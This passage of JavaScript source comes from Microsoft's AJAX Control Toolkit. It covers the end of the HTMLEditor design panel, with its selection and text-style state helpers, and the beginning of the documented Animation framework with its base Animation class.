            if (AjaxControlToolkit.HTMLEditor.isSafari && (cmdID.toLowerCase() == "strikethrough" || cmdID.toLowerCase() == "underline")) {
                var cmdl = cmdID.toLowerCase();
                if (cmdl == "strikethrough") {
                    cmdl = "line-through";
                }

                while (el1 && AjaxControlToolkit.HTMLEditor.isStyleTag(el1.tagName)) {
                    if (el1.style.textDecoration.indexOf(cmdl) >= 0) {
                        cs1 = el1.style.textDecoration;
                        break;
                    }
                    el1 = el1.parentNode;
                }
                while (el2 && AjaxControlToolkit.HTMLEditor.isStyleTag(el2.tagName)) {
                    if (el2.style.textDecoration.indexOf(cmdl) >= 0) {
                        cs2 = el2.style.textDecoration;
                        break;
                    }
                    el2 = el2.parentNode;
                }
            }

            var ret = (cs1.indexOf(cssStyle.value) >= 0) && (cs2.indexOf(cssStyle.value) >= 0);

            if (this._StyleForTyping != null && this._StyleForTyping.length > 0) {
                for (var i = 0; i < this._StyleForTyping.length; i++) {
                    var curCss = this._StyleForTyping[i];

                    if (curCss.name == cssStyle.name && curCss.value == cssStyle.value) {
                        ret = !ret;
                        break;
                    }
                }
            }

            return ret;
        } catch (ex) {
            return false;
        }
    },

    _textAlignState: function(value) {
        var obj = this._rangeStartEnd();
        if (obj == null) return false;

        try {
            var cs1 = this._textAlignStateSingle(obj.start);
            var cs2 = this._textAlignStateSingle(obj.end);

            return (cs1 == value && cs2 == value);
        } catch (ex) {
            return false;
        }
    },

    _textAlignStateSingle: function(el) {
        while (el && AjaxControlToolkit.HTMLEditor.isStyleTag(el.tagName)) {
            el = el.parentNode;
        }
        if (el != null) {
            var tagName = el.tagName.toUpperCase();
            if (tagName == "P" || tagName == "DIV") {
                return el.style.textAlign.toLowerCase();
            }
        }
        return null;
    },

    _rangeStartEnd: function() {
        if (this.isControl()) return null;

        try {
            var sel = this._getSelection();
            var range = this._createRange(sel);
            var el1 = null;
            var el2 = null;

            if (!AjaxControlToolkit.HTMLEditor.isIE) {
                function __getText__(par, first) {
                    var ret = null;

                    while (ret == null) {
                        if (par.nodeType == 3) {
                            if (first && range.startContainer != range.endContainer && range.startOffset == par.length && par.nextSibling) {
                                ret = __getText__(par.nextSibling, first);
                            } else if (!first && range.startContainer != range.endContainer && range.endOffset == 0 && par.previousSibling) {
                                ret = __getText__(par.previousSibling, first);
                            } else {
                                ret = par;
                            }
                        } else {
                            if ((first ? par.firstChild : par.lastChild) == null) {
                                ret = null;
                            } else {
                                ret = __getText__(first ? par.firstChild : par.lastChild, first);
                            }
                        }

                        if (ret == null) {
                            par = first ? par.nextSibling : par.previousSibling;
                            if (par == null) return null;
                        } else {
                            return ret;
                        }
                    }
                }

                var parent = this._getParent(range);

                if (parent.nodeType != 3 && range.startContainer == range.endContainer &&
                range.startOffset == range.endOffset &&
                range.startContainer.childNodes.item(range.startOffset).tagName &&
                AjaxControlToolkit.HTMLEditor.isStyleTag(range.startContainer.childNodes.item(range.startOffset).tagName)
                ) {
                    return { start: range.startContainer.childNodes.item(range.startOffset), end: range.startContainer.childNodes.item(range.startOffset) };
                }

                el1 = __getText__(range.startContainer, true);
                if (el1 != null && el1.parentNode != null) el1 = el1.parentNode;
                if (el1 == null) el1 = range.startContainer;

                el2 = __getText__(range.endContainer, false);
                if (el2 != null && el2.parentNode != null) el2 = el2.parentNode;
                if (el2 == null) el2 = range.endContainer;
            } else {
                if (range.text.length == 0) {
                    el1 = el2 = this._getParent(range);
                } else {
                    var rn = AjaxControlToolkit.HTMLEditor.smartClassName + "_right_marker";
                    var ln = AjaxControlToolkit.HTMLEditor.smartClassName + "_left_marker";

                    // get bound ranges
                    var r_left = range.duplicate();
                    var r_right = range.duplicate();

                    r_left.setEndPoint("EndToStart", range);
                    r_right.setEndPoint("StartToEnd", range);

                    // insert markers
                    r_right.pasteHTML("<span id='" + rn + "'/>");
                    r_left.pasteHTML("<span id='" + ln + "'/>");

                    // get markers
                    var lPoint = this._doc.getElementById(ln);
                    var rPoint = this._doc.getElementById(rn);

                    el1 = lPoint.parentNode;
                    el2 = rPoint.parentNode;

                    lPoint.parentNode.removeChild(lPoint);
                    rPoint.parentNode.removeChild(rPoint);
                }
            }

            return { start: el1, end: el2 };
        } catch (ex) {
            return null;
        }
    },

    rtlState: function() {
        if (this._doc.body.style.direction && this._doc.body.style.direction == "rtl") return true;
        return false;
    },

    openWait: function() {
        this._editPanel.openWait();
    },

    closeWait: function() {
        this._editPanel.closeWait();
    }
}

AjaxControlToolkit.HTMLEditor.DesignPanel.ScriptRecover = function() {
    this.scriptsArray=[];
    this.scriptsArray_index=-1;

    this.regReplScript1 = function(p0,p1) {
        this.scriptsArray.push(p1);
        return "";
    }

    this.regReplFromScript = function(p0,p1,p2,p3) {
        return p1.replace(/&gt;/g ,">").replace(/&lt;/g ,"<").replace(/&amp;/g ,"&");
    }

    this.regReplFromScript1 = function(p0,p1,p2,p3) {
        this.scriptsArray_index++;
        var mmm;
        if(!AjaxControlToolkit.HTMLEditor.isIE)
            mmm = this.scriptsArray[this.scriptsArray_index].replace(/&amp;/g,"&").replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&quot;/g,"\"");
        else
            mmm = this.scriptsArray[this.scriptsArray_index];
        return p1+mmm+p3;
    }
}

AjaxControlToolkit.HTMLEditor.DesignPanel.registerClass("AjaxControlToolkit.HTMLEditor.DesignPanel",AjaxControlToolkit.HTMLEditor.ModePanel);

�1// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit.Animation');

// Create an alias for the namespace to save 25 chars each time it's used since
// this is a very long script and will take awhile to download
var $AA = AjaxControlToolkit.Animation;

$AA.registerAnimation = function(name, type) {
    /// <summary>
    /// Register an animation with the AJAX Control Toolkit animation framework. This serves a dual purpose:
    /// 1) to add standard utility methods to the animation type (such as a <code>play</code> method that creates
    /// an animation, plays it, and disposes it when the animation is over), and 2) to associate a name with the
    /// type that will be used when creating animations from a JSON description.  This method can also be called
    /// by other animation libraries to seamlessly interoperate with the AJAX Control Toolkit's animation
    /// framework.
    /// </summary>
    /// <param name="name" type="String">
    /// Name of the animation that will be used as the XML tag name in the XML animation description.  It
    /// should be a valid XML tag (i.e. an alpha-numeric sequence with no spaces, special characters, etc.).
    /// </param>
    /// <param name="type" type="Type">
    /// The type of the new animation must inherit from <see cref="AjaxControlToolkit.Animation.Animation" />.
    /// </param>
    /// <returns />

    // Make sure the type inherits from AjaxControlToolkit.Animation.Animation
    if (type && ((type === $AA.Animation) || (type.inheritsFrom && type.inheritsFrom($AA.Animation)))) {
        // We'll store the animation name/type mapping in a "static" object off of
        // AjaxControlToolkit.Animation.  If this __animations object hasn't been
        // created yet, demand create it on the first registration.
        if (!$AA.__animations) {
            $AA.__animations = { };
        }
        
        // Add the current type to the collection of animations
        $AA.__animations[name.toLowerCase()] = type;
        
        // Add a play function that will make it very easy to create, play, and
        // dispose of an animation.  This is effectively a "static" function on
        // each animation and will take the same parameters as that animation's
        // constructor.
        type.play = function() {
            /// <summary>
            /// Create an animation, play it immediately, and dispose it when finished.
            /// </summary>
            /// <param parameterArray="true" elementType="Object">
            /// The play function takes the same parameters as the type's constructor
            /// </param>
            /// <returns />
        
            // Create and initialize a new animation of the right type and pass in
            // any arguments given to the play function
            var animation = new type();
            type.apply(animation, arguments);
            animation.initialize();
            
            // Add an event handler to dispose the animation when it's finished
            var handler = Function.createDelegate(animation,
                function() {
                    /// <summary>
                    /// Dispose the animation after playing
                    /// </summary>
                    /// <returns />
                    animation.remove_ended(handler);
                    handler = null;
                    animation.dispose();
                });
            animation.add_ended(handler);
            
            // Once the animation has been created and initialized, play it and
            // dispose it as soon as it's finished
            animation.play();            
        }
    } else {
        // Raise an error if someone registers an animation that doesn't inherit
        // from our base Animation class
        throw Error.argumentType('type', type, $AA.Animation, AjaxControlToolkit.Resources.Animation_InvalidBaseType);
    }
}

$AA.buildAnimation = function(json, defaultTarget) {
    /// <summary>
    /// The <code>buildAnimation</code> function is used to turn a JSON animation description
    /// into an actual animation object that can be played.
    /// </summary>
    /// <param name="json" type="String" mayBeNull="true">
    /// JSON description of the animation in the format expected by createAnimation
    /// </param>
    /// <param name="defaultTarget" type="Sys.UI.DomElement" mayBeNull="true" domElement="true">
    /// Target of the animation if none is specified in the JSON description.  The semantics of
    /// target assignment are provided in more detail in createAnimation.
    /// </param>
    /// <returns type="AjaxControlToolkit.Animation.Animation" mayBeNull="true">
    /// Animation created from the JSON description
    /// </returns>
    
    // Ensure we have a description to create an animation with
    if (!json || json === '') {
        return null;
    }

    // "Parse" the JSON so we can easily manipulate it
    // (we don't wrap it in a try/catch when debugging to raise any errors)
    var obj;
    json = '(' + json + ')';
    if (! Sys.Debug.isDebug) {
        try { obj = Sys.Serialization.JavaScriptSerializer.deserialize(json); } catch (ex) { } 
    } else {
        obj = Sys.Serialization.JavaScriptSerializer.deserialize(json);
    }
    
    // Create a new instance of the animation
    return $AA.createAnimation(obj, defaultTarget);    
}

$AA.createAnimation = function(obj, defaultTarget) {
    /// <summary>
    /// The <code>createAnimation</code> function builds a new
    /// <see cref="AjaxControlToolkit.Animation.Animation" /> instance from an object
    /// that describes it.
    /// </summary>
    /// <param name="obj" type="Object">
    /// The object provides a description of the animation to be be generated in
    /// a very specific format. It has two special properties: <code>AnimationName</code>
    /// and <code>AnimationChildren</code>.  The <code>AnimationName</code> is required
    /// and used to find the type of animation to create (this name should map to
    /// one of the animation names supplied to <code>registerAnimation</code>).  The
    /// <code>AnimationChildren</code> property supplies an optional array for
    /// animations that use child animations (such as
    /// <see cref="AjaxControlToolkit.Animation.ParallelAnimation" /> and
    /// <see cref="AjaxControlToolkit.Animation.SequenceAnimation" />). The elements of
    /// the <code>AnimationChildren</code> array are valid
    /// <see cref="AjaxControlToolkit.Animation.Animation" /> objects that meet these same
    /// requirements.  In order for an animation to support child animations, it must
    /// derive from the <see cref="AjaxControlToolkit.Animation.ParentAnimation" /> class
    /// which provides common methods like <code>add</code>, <code>clear</code>, etc. The
    /// remaining properties of the object are used to set parameters specific to the type
    /// of animation being created (e.g. <code>duration</code>, <code>minimumOpacity</code>,
    /// <code>startValue</code>, etc.) and should have a corresponding property on the
    /// animation.  You can also assign an arbitrary JavaScript expression to any property
    /// by adding 'Script' to the end of its name (i.e., Height="70" can be replaced by
    /// HeightScript="$get('myElement').offsetHeight") and have the property set to the
    /// result of evaluating the expression before the animation is played each time.
    /// </param>
    /// <param name="defaultTarget" type="Sys.UI.DomElement" mayBeNull="true" domElement="true">
    /// The function also takes a <code>defaultTarget</code> parameter that is used as the
    /// target of the animation if the object does not specify one.  This parameter should be
    /// an instance of <see cref="Sys.UI.DomElement" /> and not just the name of an element.
    /// </param>
    /// <returns type="AjaxControlToolkit.Animation.Animation">
    /// <see cref="AjaxControlToolkit.Animation.Animation" /> created from the description
    /// </returns>
    /// <remarks>
    /// Exceptions are thrown when the <code>AnimationName</code> cannot be found.  Also,
    /// any exceptions raised by setting properties or providing properties with invalid
    /// names will only be raised when debugging.
    /// </remarks>

    // Create a default instance of the animation by looking up the AnimationName
    // in the global __animations object.
    if (!obj || !obj.AnimationName) {
        throw Error.argument('obj', AjaxControlToolkit.Resources.Animation_MissingAnimationName);
    }
    var type = $AA.__animations[obj.AnimationName.toLowerCase()];
    if (!type) {
        throw Error.argument('type', String.format(AjaxControlToolkit.Resources.Animation_UknownAnimationName, obj.AnimationName));
    }
    var animation = new type();
    
    // Set the animation's target if provided via defaultTarget (note that setting
    // it via AnimationTarget will happen during the regular property setting phase)
    if (defaultTarget) {
        animation.set_target(defaultTarget);
    }
    
    // If there is an AnimationChildren array and the animation inherits from
    // ParentAnimation, then we will recusively build the child animations.  It is
    // important that we create the child animations before setting the animation's
    // properties or initializing (because some properties and initialization may be
    // propogated down from parent to child).
    if (obj.AnimationChildren && obj.AnimationChildren.length) {
        if ($AA.ParentAnimation.isInstanceOfType(animation)) {
            for (var i = 0; i < obj.AnimationChildren.length; i++) {
                var child = $AA.createAnimation(obj.AnimationChildren[i]);
                if (child) {
                    animation.add(child);
                }
            }
        } else {
            throw Error.argument('obj', String.format(AjaxControlToolkit.Resources.Animation_ChildrenNotAllowed, type.getName()));
        }
    }
    
    // Get the list of all properties available to set on the current animation's
    // type.  We create a mapping from the property's lowercase friendly name
    // (i.e., "duration") to the name of its setter (i.e., "set_duration").  This is
    // essentialy in setting properties so we only copy over valid values.
    var properties = type.__animationProperties;
    if (!properties) {
        // Get the properties for this type by walking its prototype - by doing
        // this we'll effectively ignore anything not defined in the prototype
        type.__animationProperties = { };
        type.resolveInheritance();
        for (var name in type.prototype) {
            if (name.startsWith('set_')) {
                type.__animationProperties[name.substr(4).toLowerCase()] = name;
            }
        }
        
        // Remove the 'id' property as it shouldn't be set by the animation
        // (NOTE: the 'target' proeprty shouldn't be set to a string value, but it
        // isn't removed because it can be used as a valid dynamic property - i.e.
        // Target="myElement" *DOES NOT WORK*, but it's OKAY to use
        // TargetScript="$get('myElement')".  Validation for this scenario will be
        // handled automatically by _validateParams when debugging as Target is required
        // to be a dom element.)
        delete type.__animationProperties['id'];
        properties = type.__animationProperties;
    }
    
    // Loop through each of the properties in the object and check if it's in the list
    // of valid property names.  We will check the type of the propertyName to make sure
    // it's a String (as other types can be added by the ASP.NET AJAX compatability
    // layers to all objects and cause errors if you don't exclude them).  We will first
    // try to set a property with the same name if it exists.  If we can't find one but
    // the name of the property ends in 'script', then we will try to set a corresponding
    // dynamic property.  If no matches can be found at all, we'll raise an error when
    // debugging.
    for (var property in obj) {
        // Ignore the special properties in the object that don't correspond
        // to any actual properties on the animation
        var prop = property.toLowerCase();
        if (prop == 'animationname' || prop == 'animationchildren') {
            continue;
        }
        
        var value = obj[property];
        
        // Try to directly set the value of this property
        var setter = properties[prop];
        if (setter && String.isInstanceOfType(setter) && animation[setter]) {
            // Ignore any exceptions raised by setting the property
            // unless we're debugging
            if (! Sys.Debug.isDebug) {
                try { animation[setter](value); } catch (ex) { }
            } else {
                animation[setter](value);
            }
        } else {
            // Try to set the value of a dynamic property
            if (prop.endsWith('script')) {
                setter = properties[prop.substr(0, property.length - 6)];
                if (setter && String.isInstanceOfType(setter) && animation[setter]) {
                    animation.DynamicProperties[setter] = value;
                } else if ( Sys.Debug.isDebug) {
                    // Raise an error when debugging if we could not find a matching property
                    throw Error.argument('obj', String.format(AjaxControlToolkit.Resources.Animation_NoDynamicPropertyFound, property, property.substr(0, property.length - 5)));
                }
            } else if ( Sys.Debug.isDebug) {
                // Raise an error when debugging if we could not find a matching property
                throw Error.argument('obj', String.format(AjaxControlToolkit.Resources.Animation_NoPropertyFound, property));
            }
        }
    }
    
    return animation;
}


// In the Xml comments for each of the animations below, there is a special <animation /> tag
// that describes how the animation is referenced from a generic XML animation description


$AA.Animation = function(target, duration, fps) {
    /// <summary>
    /// <code>Animation</code> is an abstract base class used as a starting point for all the other animations.
    /// It provides the basic mechanics for the animation (playing, pausing, stopping, timing, etc.)
    /// and leaves the actual animation to be done in the abstract methods <code>getAnimatedValue</code>
    /// and <code>setValue</code>.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <field name="DynamicProperties" type="Object">
    /// The DynamicProperties collection is used to associate JavaScript expressions with
    /// properties.  The expressions are evaluated just before the animation is played
    /// everytime (in the base onStart method).  The object itself maps strings with the
    /// names of property setters (like "set_verticalOffset") to JavaScript expressions
    /// (like "$find('MyBehavior').get_element().offsetHeight").  Note specifically that
    /// the dynamic properties are JavaScript expressions and not abitrary statements (i.e.
    /// you can't include things like "return foo;"), although you can include anything
    /// inside an anonymous function definition that you immediately invoke (i.e.,
    /// "(function() { return foo; })()").  A dynamic property can be set in the generic
    /// XML animation description by appending Script onto any legitimate property name
    /// (for example, instead of Height="70" we could use
    /// HeightScript="$find('MyBehavior').get_element().offsetHeight").  Any exceptions
    /// raised when setting dynamic properties (including both JavaScript evaluation errors
    /// and other exceptions raised by property setters) will only be propogated when
    /// debugging.
    /// </field>
    /// <remarks>
    /// Animations need to be as fast as possible - even in debug mode.  Don't add validation code to
    /// methods involved in every step of the animation.
    /// </remarks>
    /// <animation>Animation</animation>
    $AA.Animation.initializeBase(this);
    
    // Length of the animation in seconds
    this._duration = 1;
    
    // Number of steps per second
    this._fps = 25;
    
    // Target Sys.UI.DomElement of the animation
    this._target = null;
    
    // Tick event handler
    this._tickHandler = null;
    
    // Animation timer
    this._timer = null;
    
    // Percentage of the animation already played
    this._percentComplete = 0;
    
    // Percentage of the animation to play on each step
    this._percentDelta = null;
    
    // Reference to the animation that owns this animation (currently only set in 
    // ParallelAnimation.add).  This concept of ownership allows an entire animation
    // subtree to be driven off a single timer so all the operations are properly
    // synchronized.
    this._owner = null;
    
    // Reference to the animation that contains this as a child (this is set
    // in ParentAnimation.add).  The primary use of the parent animation is in
    // resolving the animation target when one isn't specified.
    this._parentAnimation = null;
    
    // The DynamicProperties collection is used to associate JavaScript expressions with
    // properties.  The expressions are evaluated just before the animation is played
    // everytime (in the base onStart method).  See the additional information in the
    // XML <field> comment above.
    this.DynamicProperties = { };
    
    // Set the target, duration, and fps if they were provided in the constructor
    if (target) {
        this.set_target(target);
    }
    if (duration) {
        this.set_duration(duration);
    }
    if (fps) { 
        this.set_fps(fps);
    }
}
$AA.Animation.prototype = {
    dispose: function() {
        /// <summary>
        /// Dispose the animation
        /// </summary>
        /// <returns />

        if (this._timer) {
            this._timer.dispose();
            this._timer = null;
        }

        this._tickHandler = null;
        this._target = null;

        $AA.Animation.callBaseMethod(this, 'dispose');
    },

    play: function() {
        /// <summary>
        /// Play the animation from the beginning or where it was left off when paused.
        /// </summary>
        /// <returns />
        /// <remarks>
        /// If this animation is the child of another, you must call <code>play</code> on its parent instead.
        /// </remarks>

        // If ownership of this animation has been claimed, then we'll require the parent to
        // handle playing the animation (this is very important because then the entire animation
        // tree runs on the same timer and updates consistently)
        if (!this._owner) {
            var resume = true;
            if (!this._timer) {
                resume = false;

                if (!this._tickHandler) {
                    this._tickHandler = Function.createDelegate(this, this._onTimerTick);
                }

                this._timer = new Sys.Timer();
                this._timer.add_tick(this._tickHandler);

                this.onStart();

                this._timer.set_interval(1000 / this._fps);
                this._percentDelta = 100 / (this._duration * this._fps);
                this._updatePercentComplete(0, true);
            }

            this._timer.set_enabled(true);

            this.raisePropertyChanged('isPlaying');
            if (!resume) {
                this.raisePropertyChanged('isActive');
            }
        }
    },

    pause: function() {
        /// <summary>
        /// Pause the animation if it is playing.  Calling <code>play</code> will resume where
        /// the animation left off.
        /// </summary>
        /// <returns />
        /// <remarks>
        /// If this animation is the child of another, you must call <code>pause</code> on its parent instead.
        /// </remarks>

        if (!this._owner) {
            if (this._timer) {
                this._timer.set_enabled(false);

                this.raisePropertyChanged('isPlaying');
            }
        }
    },

    stop: function(finish) {
        /// <summary>
        /// Stop playing the animation.
        /// </summary>
        /// <param name="finish" type="Boolean" mayBeNull="true" optional="true">
        /// Whether or not stopping the animation should leave the target element in a state
        /// consistent with the animation playing completely by performing the last step.
        /// The default value is true.
        /// </param>
        /// <returns />
        /// <remarks>
        /// If this animation is the child of another, you must call <code>stop</code> on
        /// its parent instead.
        /// </remarks>

        if (!this._owner) {
            var t = this._timer;
            this._timer = null;
            if (t) {
                t.dispose();

                if (this._percentComplete !== 100) {
                    this._percentComplete = 100;
                    this.raisePropertyChanged('percentComplete');
                    if (finish || finish === undefined) {
                        this.onStep(100);
                    }
                }
                this.onEnd();

                this.raisePropertyChanged('isPlaying');
                this.raisePropertyChanged('isActive');
            }
        }
    },

    onStart: function() {
        /// <summary>
        /// The <code>onStart</code> method is called just before the animation is played each time.
        /// </summary>
        /// <returns />

        this.raiseStarted();

        // Initialize any dynamic properties
        for (var property in this.DynamicProperties) {
            try {
                // Invoke the property's setter on the evaluated expression
                this[property](eval(this.DynamicProperties[property]));
            } catch (ex) {
                // Propogate any exceptions if we're debugging, otherwise eat them
                if (Sys.Debug.isDebug) {
                    throw ex;
                }
            }
        }
    },

    onStep: function(percentage) {
        /// <summary>
        /// The <code>onStep</code> method is called repeatedly to progress the animation through each frame
        /// </summary>
        /// <param name="percentage" type="Number">Percentage of the animation already complete</param>
        /// <returns />

        this.setValue(this.getAnimatedValue(percentage));
        this.raiseStep();
    },

    onEnd: function() {
        /// <summary>
        /// The <code>onEnd</code> method is called just after the animation is played each time.
        /// </summary>
        /// <returns />

        this.raiseEnded();
    },

    getAnimatedValue: function(percentage) {
        /// <summary>
        /// Determine the state of the animation after the given percentage of its duration has elapsed
        /// </summary>
        /// <param name="percentage" type="Number">Percentage of the animation already complete</param>
        /// <returns type="Object">
        /// State of the animation after the given percentage of its duration has elapsed that will
        /// be passed to <code>setValue</code>
        /// </returns>
        throw Error.notImplemented();
    },

    setValue: function(value) {
        /// <summary>
        /// Set the current state of the animation
        /// </summary>
        /// <param name="value" type="Object">Current state of the animation (as retreived from <code>getAnimatedValue</code>)</param>
        /// <returns />
        throw Error.notImplemented();
    },

    interpolate: function(start, end, percentage) {
        /// <summary>
        /// The <code>interpolate</code> function is used to find the appropriate value between starting and
        /// ending values given the current percentage.
        /// </summary>
        /// <param name="start" type="Number">
        /// Start of the range to interpolate
        /// </param>
        /// <param name="end" type="Number">
        /// End of the range to interpolate
        /// </param>
        /// <param name="percentage" type="Number">
        /// Percentage completed in the range to interpolate
        /// </param>
        /// <returns type="Number">
        /// Value the desired percentage between the start and end values
        /// </returns>
        /// <remarks>
        /// In the future, we hope to make several implementations of this available so we can dynamically
        /// change the apparent speed of the animations, although it may make more sense to modify the
        /// <code>_updatePercentComplete</code> function instead.
        /// </remarks>
        return start + (end - start) * (percentage / 100);
    },

    _onTimerTick: function() {
        /// <summary>
        /// Handler for the tick event to move the animation along through its duration
        /// </summary>
        /// <returns />
        this._updatePercentComplete(this._percentComplete + this._percentDelta, true);
    },

    _updatePercentComplete: function(percentComplete, animate) {
        /// <summary>
        /// Update the animation and its target given the current percentage of its duration that
        /// has already elapsed
        /// </summary>
        /// <param name="percentComplete" type="Number">
        /// Percentage of the animation duration that has already elapsed
        /// </param>
        /// <param name="animate" type="Boolean" mayBeNull="true" optional="true">
        /// Whether or not updating the animation should visually modify the animation's target
        /// </param>
        /// <returns />

        if (percentComplete > 100) {
            percentComplete = 100;
        }

        this._percentComplete = percentComplete;
        this.raisePropertyChanged('percentComplete');

        if (animate) {
            this.onStep(percentComplete);
        }

        if (percentComplete === 100) {
            this.stop(false);
        }
    },

    setOwner: function(owner) {
        /// <summary>
        /// Make this animation the child of another animation
        /// </summary>
        /// <param name="owner" type="AjaxControlToolkit.Animation.Animation">
        /// Parent animation
        /// </param>
        /// <returns />
        this._owner = owner;
    },

    raiseStarted: function() {
        /// <summary>
        /// Raise the <code>started</code> event
        /// </summary>
        /// <returns />
        var handlers = this.get_events().getHandler('started');
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    add_started: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>started</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />
        this.get_events().addHandler("started", handler);
    },

    remove_started: function(handler) {
        /// <summary>
        /// Removes an event handler for the <code>started</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to remove from the event.
        /// </param>
        /// <returns />
        this.get_events().removeHandler("started", handler);
    },

    raiseEnded: function() {
        /// <summary>
        /// Raise the <code>ended</code> event
        /// </summary>
        /// <returns />
        var handlers = this.get_events().getHandler('ended');
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    add_ended: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>ended</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />
        this.get_events().addHandler("ended", handler);
    },

    remove_ended: function(handler) {
        /// <summary>
        /// Removes an event handler for the <code>ended</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to remove from the event.
        /// </param>
        /// <returns />
        this.get_events().removeHandler("ended", handler);
    },

    raiseStep: function() {
        /// <summary>
        /// Raise the <code>step</code> event
        /// </summary>
        /// <returns />
        var handlers = this.get_events().getHandler('step');
        if (handlers) {
            handlers(this, Sys.EventArgs.Empty);
        }
    },

    add_step: function(handler) {
        /// <summary>
        /// Adds an event handler for the <code>step</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to add to the event.
        /// </param>
        /// <returns />
        this.get_events().addHandler("step", handler);
    },

    remove_step: function(handler) {
        /// <summary>
        /// Removes an event handler for the <code>step</code> event.
        /// </summary>
        /// <param name="handler" type="Function">
        /// The handler to remove from the event.
        /// </param>
        /// <returns />
        this.get_events().removeHandler("step", handler);
    },

    get_target: function() {
        /// <value type="Sys.UI.DomElement" domElement="true" mayBeNull="true">
        /// Target of the animation.  If the target of this animation is null and
        /// the animation has a parent, then it will recursively use the target of
        /// the parent animation instead.
        /// </value>
        /// <remarks>
        /// Do not set this property in a generic Xml animation description. It should be set
        /// using either the extender's TargetControlID or the AnimationTarget property (the latter
        /// maps to AjaxControlToolkit.Animation.set_animationTarget).  The only valid way to
        /// set this property in the generic Xml animation description is to use the dynamic
        /// property TargetScript="$get('myElement')".
        /// <remarks>
        if (!this._target && this._parentAnimation) {
            return this._parentAnimation.get_target();
        }
        return this._target;
    },
    set_target: function(value) {
        if (this._target != value) {
            this._target = value;
            this.raisePropertyChanged('target');
        }
    },

    set_animationTarget: function(id) {
        /// <value type="string" mayBeNull="false">
        /// ID of a Sys.UI.DomElement or Sys.UI.Control to use as the target of the animation
        /// </value>
        /// <remarks>
        /// If no Sys.UI.DomElement or Sys.UI.Control can be found for the given ID, an
        /// argument exception will be thrown.
        /// <remarks>

        // Try to find a Sys.UI.DomElement
        var target = null;
        var element = $get(id);
        if (element) {
            target = element;
        } else {
            // Try to find the control in the AJAX controls collection
            var ctrl = $find(id);
            if (ctrl) {
                element = ctrl.get_element();
                if (element) {
                    target = element;
                }
            }
        }

        // Use the new target if we have one, or raise an error if not
        if (target) {
            this.set_target(target);
        } else {
            throw Error.argument('id', String.format(AjaxControlToolkit.Resources.Animation_TargetNotFound, id));
        }
    },

    get_duration: function() {
        /// <value type="Number">
        /// Length of the animation in seconds.  The default is 1.
        /// </value>
        return this._duration;
    },
    set_duration: function(value) {
        value = this._getFloat(value);
        if (this._duration != value) {
            this._duration = value;
            this.raisePropertyChanged('duration');
        }
    },

    get_fps: function() {
        /// <value type="Number" integer="true">
        /// Number of steps per second.  The default is 25.
        /// </value>
        return this._fps;
    },
    set_fps: function(value) {
        value = this._getInteger(value);
        if (this.fps != value) {
            this._fps = value;
            this.raisePropertyChanged('fps');
        }
    },

    get_isActive: function() {
        /// <value type="Boolean">
        /// <code>true</code> if animation is active, <code>false</code> if not.
        /// </value>
        return (this._timer !== null);
    },

    get_isPlaying: function() {
        /// <value type="Boolean">
        /// <code>true</code> if animation is playing, <code>false</code> if not.
        /// </value>
        return (this._timer !== null) && this._timer.get_enabled();
    },

    get_percentComplete: function() {
        /// <value type="Number">
        /// Percentage of the animation already played.
        /// </value>
        return this._percentComplete;
    },

    _getBoolean: function(value) {
        /// <summary>
        /// Helper to convert strings to booleans for property setters
        /// </summary>
        /// <param name="value" type="Object">
        /// Value to convert if it's a string
        /// </param>
        /// <returns type="Object">
        /// Value that has been converted if it was a string
        /// </returns>
        if (String.isInstanceOfType(value)) {
            return Boolean.parse(value);
        }
        return value;
    },

    _getInteger: function(value) {
        /// <summary>
        /// Helper to convert strings to integers for property setters
        /// </summary>
        /// <param name="value" type="Object">Value to convert if it's a string</param>
        /// <returns type="Object">Value that has been converted if it was a string</returns>
        if (String.isInstanceOfType(value)) {
            return parseInt(value);
        }
        return value;
    },

    _getFloat: function(value) {
        /// <summary>
        /// Helper to convert strings to floats for property setters
        /// </summary>
        /// <param name="value" type="Object">Value to convert if it's a string</param>
        /// <returns type="Object">Value that has been converted if it was a string</returns>
        if (String.isInstanceOfType(value)) {
            return parseFloat(value);
        }
        return value;
    },

    _getEnum: function(value, type) {
        /// <summary>
        /// Helper to convert strings to enum values for property setters
        /// </summary>
        /// <param name="value" type="Object">Value to convert if it's a string</param>
        /// <param name="type" type="Type">Type of the enum to convert to</param>
        /// <returns type="Object">Value that has been converted if it was a string</returns>
        if (String.isInstanceOfType(value) && type && type.parse) {
            return type.parse(value);
        }
        return value;
    }
}
$AA.Animation.registerClass('AjaxControlToolkit.Animation.Animation', Sys.Component);
$AA.registerAnimation('animation', $AA.Animation);


$AA.ParentAnimation = function(target, duration, fps, animations) {
    /// <summary>
    /// The <code>ParentAnimation</code> serves as a base class for all animations that contain children (such as
    /// <see cref="AjaxControlToolkit.Animation.ParallelAnimation" />, <see cref="AjaxControlToolkit.SequenceAnimation" />,
    /// etc.).  It does not actually play the animations, so any classes that inherit from it must do so.  Any animation
    /// that requires nested child animations must inherit from this class, although it will likely want to inherit off of
    /// <see cref="AjaxControlToolkit.Animation.ParallelAnimation" /> or <see cref="AjaxControlToolkit.SequenceAnimation" />
    /// which will actually play their child animations.
    /// </summary>
